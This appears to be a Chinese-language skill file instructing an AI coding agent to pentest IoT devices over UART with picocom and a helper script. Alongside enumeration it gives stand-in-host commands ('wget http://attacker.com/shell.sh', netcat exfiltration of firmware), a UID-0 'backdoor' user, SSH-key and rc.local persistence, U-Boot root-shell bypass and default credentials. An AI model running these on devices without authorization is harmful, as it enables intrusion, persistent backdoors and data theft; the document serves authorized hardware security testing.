IoTUART控制台(picocom)Skill iot-uart-console-picocom

这项技能使得使用 picocom 与 IoT 设备的 UART 控制台进行交互成为可能,用于安全测试和渗透测试操作,包括引导程序交互、shell 访问、设备枚举和漏洞发现。

渗透测试 1 次安装 4 次浏览 更新于 3/2/2026

IoT UART 控制台 (picocom)

这项技能使得使用 picocom 与 IoT 设备的 UART 控制台进行交互成为可能,用于安全测试和渗透测试操作。它支持引导程序交互、shell 访问(带或不带认证)、设备枚举和漏洞发现。

前提条件

  • 系统上必须安装 picocom
  • 需要 Python 3 和 pyserial 库(在 Arch 上使用 sudo pacman -S python-pyserial 安装,或使用 pip install pyserial
  • 必须有 UART 连接到目标设备(USB 转串口适配器、FTDI 线等)
  • 需要适当的权限来访问串行设备(通常是 /dev/ttyUSB* 或 /dev/ttyACM*)

推荐方法:串行助手脚本

重要:这项技能包括一个 Python 助手脚本(serial_helper.py),它提供了一个清晰、可靠的串行通信接口。这是与 IoT 设备交互的推荐方法

默认会话日志记录

所有由 Claude 运行的命令默认会被记录到 /tmp/serial_session.log

要实时观察 Claude 在做什么:

# 在另一个终端运行:
tail -f /tmp/serial_session.log

这允许你在不干扰连接的情况下实时观察所有串行 I/O。

为什么使用串行助手?

助手脚本解决了直接使用 picocom 的许多问题:

  • 清晰的输出:自动移除命令回显、提示符和 ANSI 代码
  • 提示符检测:自动检测并等待设备提示符
  • 超时处理:适当的超时管理,没有任意的睡眠
  • 易于脚本化:简单的命令行界面,用于单个命令或批量操作
  • 会话日志记录:所有 I/O 记录到 /tmp/serial_session.log 以供观察
  • 可靠:没有 TTY 要求或后台进程的问题

使用串行助手快速开始

单个命令:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"

自定义提示符(对于已知设备推荐):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"

交互模式:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive

从文件批量命令:

# 创建一个文件,每行一个命令
echo -e "help
date
ifconfig
ps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt

JSON 输出(用于解析):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json

调试模式:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug

会话日志记录(用于观察):

# 终端 1 - 运行时记录
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --prompt "User@[^>]+>" \
  --logfile /tmp/session.log \
  --interactive

# 终端 2 - 实时观察会话
tail -f /tmp/session.log

注意:OBSERVING_SESSIONS.md 以获得有关监控串行会话的全面指南。

串行助手选项

必需(以下之一):
  --command, -c CMD         执行单个命令
  --interactive, -i         进入交互模式
  --script, -s FILE         从文件执行命令

连接选项:
  --device, -d DEV          串行设备(默认:/dev/ttyUSB0)
  --baud, -b RATE           波特率(默认:115200)
  --timeout, -t SECONDS     命令超时(默认:3.0)
  --prompt, -p PATTERN      自定义提示符正则表达式模式

输出选项:
  --raw, -r                 不清理输出(显示回显、提示符)
  --json, -j                以 JSON 格式输出
  --logfile, -l FILE        将所有 I/O 记录到文件(可以在另一个终端使用 tail -f)
  --debug                   显示调试信息

常见提示符模式

助手脚本包括常见的提示符模式,但你可以指定自定义的:

# Uniview 摄像头
--prompt "User@[^>]+>"

# 标准 root/user 提示符
--prompt "[#\$]\s*$"

# U-Boot 引导程序
--prompt "=>\s*$"

# 自定义设备
--prompt "MyDevice>"

使用串行助手进行设备枚举示例

这是一个使用串行助手安全枚举设备的完整示例:

# 设置变量以方便使用
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>"  # 根据你的设备调整
LOGFILE="/tmp/serial_session.log"

# 获取可用命令
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"

# 系统信息
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"

# 网络配置
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"

# 进程列表(可能需要更长的超时时间)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"

# 文件系统探索
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"

# 设备标识符
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"

对于 CLAUDE 代码很重要:使用这项技能时,总是要在每个命令中包含 --logfile /tmp/serial_session.log,以便用户可以使用 tail -f /tmp/serial_session.log 监控活动。

替代方案:直接使用 picocom(高级)

如果你需要直接访问 picocom(例如,在启动期间与引导程序交互),你可以直接使用 picocom。然而,这更复杂,更容易出错。

指令

1. 连接设置

关键:picocom 运行在交互模式下,不能通过标准的 stdin/stdout 管道控制。使用以下方法:

  1. 总是在后台 shell 中运行 picocom 使用 run_in_background: true
  2. 使用 BashOutput 工具监控输出 来读取响应
  3. 发送命令 使用 Ctrl-A Ctrl-S 进入发送模式,或直接写入设备文件

默认连接命令:

picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0

默认值(除非另有说明):

  • 波特率:115200(大多数 IoT 设备的常见设置)
  • 设备:/dev/ttyUSB0(大多数常见的 USB 转串口适配器)
  • 始终使用 --nolock:除非用户特别请求否则避免文件锁定问题

其他波特率(如果 115200 不起作用):

  • 57600
  • 38400
  • 19200
  • 9600
  • 230400(不常见,高速)

其他设备路径:

  • /dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, …(USB 转串口适配器)
  • /dev/ttyACM0, /dev/ttyACM1, …(USB CDC 设备)
  • /dev/ttyS0, /dev/ttyS1, …(内置串行端口)

picocom 必备选项:

  • -b--baud:设置波特率(默认使用 115200)
  • --nolock:禁用文件锁定(始终使用,除非用户要求不使用)
  • --omap crlf:将输出 CR 映射到 CRLF(有助于格式化)
  • --echo:启用本地回显(看到你输入的内容)
  • --logfile <file>:将所有会话输出记录到文件(推荐)
  • -q--quiet:抑制 picocom 状态消息
  • --imap lfcrlf:在输入时将 LF 映射到 CRLF(有时需要)

2. 检测控制台状态

连接后,你需要确定设备处于什么状态:

a) 空白/无声控制台:

  • 多次按 Enter 检查提示符
  • 尝试 Ctrl-C 以中断任何运行中的进程
  • 如果仍然没有反应,设备可能处于引导程序等待状态 - 尝试空格键或其他引导程序中断键

b) 引导程序(U-Boot 等):

  • 查找 U-Boot>, =>, uboot>, Boot> 等提示符
  • 引导程序通常有一个可以中断的倒计时
  • 常见的中断键:空格、Enter、引导消息中提到的特定键

c) 登录提示符:

  • 查找 login:username: 提示符
  • 常见 IoT 设备的默认凭据:
    • root / root
    • admin / admin
    • root /(无密码)
    • admin / password
    • 检查制造商文档或在线数据库

d) Shell 访问:

  • 你可能会直接进入 root shell
  • 查找 #, $, > 或自定义提示符

2.1. BusyBox Shells(大多数 IoT 设备)

重要:绝大多数 IoT 设备使用 BusyBox,这是一个为嵌入式系统设计的轻量级 Unix 实用程序套件。BusyBox 提供了一个最小的 shell 环境,命令功能有限。

识别 BusyBox:

# 检查你使用的 shell
busybox
busybox --help

# 或检查符号链接
ls -la /bin/sh
# 通常显示:/bin/sh -> /bin/busybox

# 列出可用的 BusyBox 应用程序
busybox --list

BusyBox 限制:

  • 许多标准 Linux 命令可能是简化版本
  • 一些常见标志/选项可能不可用
  • 功能如标签补全可能有限或不存在
  • 一些在完整 Linux 上有效的利用技术可能不适用

BusyBox 常见命令:

# 核心实用程序(通常可用)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk(有限版本)
ifconfig, route, ping, netstat, telnet
vi(基本文本编辑器 - 无语法高亮)

# 检查可用内容
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin

BusyBox 针对渗透测试的考虑:

  • ps 输出格式可能与标准 Linux 不同
  • 一些权限提升技术需要 BusyBox 中没有的命令
  • 文件权限仍然有效(SUID、粘滞位等)
  • 网络工具通常存在(telnet, wget, nc/netcat, ftpget)
  • Python/Perl/Ruby 通常不可用(设备存储限制)

BusyBox 用于枚举的有用命令:

# 检查 BusyBox 版本(可能有已知漏洞)
busybox | head -1

# 网络实用程序通常可用
nc -l -p 4444  # Netcat 监听器
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1

# httpd(web 服务器)通常包括
busybox httpd -p 8080 -h /tmp  # 快速文件共享

参考文档:

3. 与控制台交互

向 picocom 发送命令:

由于 picocom 是交互式的,你有几个选项:

选项 A:直接写入设备文件

echo "command" > /dev/ttyUSB0

选项 B:使用 expect 或类似工具

expect -c "
  spawn picocom -b 115200 --nolock /dev/ttyUSB0
  send \"command\r\"
  expect \"#\"
  exit
"

选项 C:使用 screen 而不是 picocom(可能更容易脚本化)

screen /dev/ttyUSB0 115200

Picocom 键盘快捷键:

  • Ctrl-A Ctrl-X:退出 picocom
  • Ctrl-A Ctrl-Q:不重置退出
  • Ctrl-A Ctrl-U:增加波特率
  • Ctrl-A Ctrl-D:减少波特率
  • Ctrl-A Ctrl-T:切换本地回显
  • Ctrl-A Ctrl-S:发送文件(可以用来发送命令)

4. 设备枚举

一旦你有了 shell 访问权限,收集以下信息:

系统信息:

# 内核和系统信息
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo

# 分发/固件信息
cat /etc/issue
cat /etc/*release*
cat /etc/*version*

# 主机名和网络
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf

# 挂载的文件系统
mount
cat /proc/mounts
df -h

# 运行中的进程
ps aux
ps -ef
top -b -n 1

用户和权限信息:

# 当前用户上下文
id
whoami
groups

# 用户账户
cat /etc/passwd
cat /etc/shadow  # 如果可读 - 重大安全问题!
cat /etc/group

# Sudo/权限信息
sudo -l
cat /etc/sudoers

网络服务:

# 监听服务
netstat -tulpn
ss -tulpn
lsof -i

# 防火墙规则
iptables -L -n -v
cat /etc/iptables/*

有趣的文件和目录:

# 配置文件
ls -la /etc/
find /etc/ -type f -readable

# Web 服务器配置
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/

# 凭据和密钥
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

# SUID/SGID 二进制文件(权限提升向量)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 世界可写文件/目录
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null

# 开发/调试工具
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/

5. 引导程序利用

如果你可以访问引导程序(U-Boot 等):

常见的 U-Boot 命令:

# 打印环境变量
printenv

# 修改启动参数(例如,init=/bin/sh 用于 root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot

# 替代方案:单用户模式
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"

# 从网络(TFTP)启动以自定义固件
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000

# 内存检查
md <address>  # 内存显示
mm <address>  # 内存修改
mw <address> <value>  # 内存写入

# 闪存操作
erase <start> <end>
cp.b <source> <dest> <count>

# 其他有用命令
help
bdinfo  # 板卡信息
version
reset

6. 权限提升(如果不是 root)

检查常见漏洞:

# 内核漏洞
uname -r  # 检查内核版本以查找已知漏洞

# 检查可利用的服务
ps aux | grep root

# 可写的服务文件
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null

# Cron 作业
crontab -l
ls -la /etc/cron*
cat /etc/crontab

7. 持久性和进一步访问

建立额外的访问方法:

# 添加 SSH 访问
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# 启动 SSH 服务(如果不运行)
/etc/init.d/ssh start
# 或
/etc/init.d/sshd start
# 或
/etc/init.d/dropbear start  # 常见于嵌入式设备

# 添加后门用户
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor

# 添加到启动脚本
echo "/path/to/backdoor &" >> /etc/rc.local

8. 固件提取

提取固件进行离线分析:

# 查找 MTD 分区(在嵌入式设备上很常见)
cat /proc/mtd
cat /proc/partitions

# 转储闪存分区
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin

# 复制到外部存储或网络
# 如果网络可用:
nc attacker_ip 4444 < /tmp/rootfs.bin

# 如果 USB 存储可用:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt

9. 清理和退出

退出 picocom:

  • Ctrl-A 然后按 Ctrl-X
  • 或者从另一个终端使用 killall picocom

如果需要杀死后台 shell:

  • 使用 KillShell 工具和适当的 shell_id

常见 IoT 设备场景

场景 1:无需认证的 Shell

# 连接
picocom -b 115200 --nolock /dev/ttyUSB0

# 按 Enter,立即获得 root shell
# 枚举和利用

场景 2:密码保护的 Shell

# 连接并看到登录提示符
# 尝试默认凭据:
# - root/root
# - admin/admin
# - root/(无密码)
# 在线搜索设备特定的默认值

场景 3:从引导程序到 Root Shell

# 中断启动倒计时(按空格/Enter)
# 获得 U-Boot 提示符
setenv bootargs "${bootargs} init=/bin/sh"
boot
# 无需认证即可获得 root shell

场景 4:有限的 Shell 逃逸

# 如果你得到一个有限的 shell:
# 尝试常见的逃逸技术:
echo $SHELL
/bin/sh
/bin/bash
vi  # 然后 :!/bin/sh
less /etc/passwd  # 然后 !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'

安全测试清单

  • [ ] 识别设备和固件版本
  • [ ] 检查默认凭据
  • [ ] 枚举网络服务和开放端口
  • [ ] 检查文件中的硬编码凭据
  • [ ] 测试命令注入漏洞
  • [ ] 检查文件权限(SUID、世界可写)
  • [ ] 测试引导程序安全(密码保护、命令限制)
  • [ ] 检查已知 CVE 的过时软件
  • [ ] 测试权限提升向量
  • [ ] 提取固件进行离线分析
  • [ ] 用屏幕截图/日志记录所有发现

最佳实践

  1. 总是记录你的会话:使用 --logfile session.log
  2. 记录一切:记下命令、响应和发现
  3. 要有耐心:有些设备响应慢,可能需要时间
  4. 检查波特率:错误的波特率 = 乱码输出。如果你看到乱码文本,尝试常见的速率
  5. 研究设备:查找已知漏洞、默认凭据和常见问题
  6. 使用适当的授权:只在你拥有或明确允许测试的设备上执行渗透测试
  7. 备份:如果可能,修改之前备份固件
  8. 小心引导程序:错误的引导程序命令可能会使设备变砖

故障排除

问题:乱码或奇怪的字符

  • 解决方案:错误的波特率。尝试 115200, 57600, 38400, 19200, 9600

问题:根本没有输出

  • 解决方案:检查物理连接,尝试按 Enter,检查设备是否已打开

问题:“设备忙” 或 “权限被拒绝”

  • 解决方案:关闭使用串行端口的其他程序,检查用户权限(sudo usermod -a -G dialout $USER

问题:命令不显示回显

  • 解决方案:使用 --echo 标志启用本地回显,或在 picocom 中按 Ctrl-A Ctrl-T

问题:错误的行结尾(额外的行或没有换行)

  • 解决方案:使用 --omap crlf--imap lfcrlf 选项

示例用法

# 基本连接(使用默认值)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0

# 带日志的连接
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0

# 安静模式(抑制 picocom 消息)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0

# 在后台运行以进行脚本化交互
picocom -b 115200 --nolock /dev/ttyUSB0 &
# 然后使用 BashOutput 监控

参考资料